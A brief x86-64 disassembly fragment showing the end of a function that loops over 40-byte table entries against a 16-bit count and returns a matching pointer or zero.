cmp qword [rbp + 0x18], rax
jae 0x488cb1
mov rax, qword [rbp - 8]
jmp 0x488ccf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x488c84
mov eax, 0
add rsp, 0x20
pop rbp
ret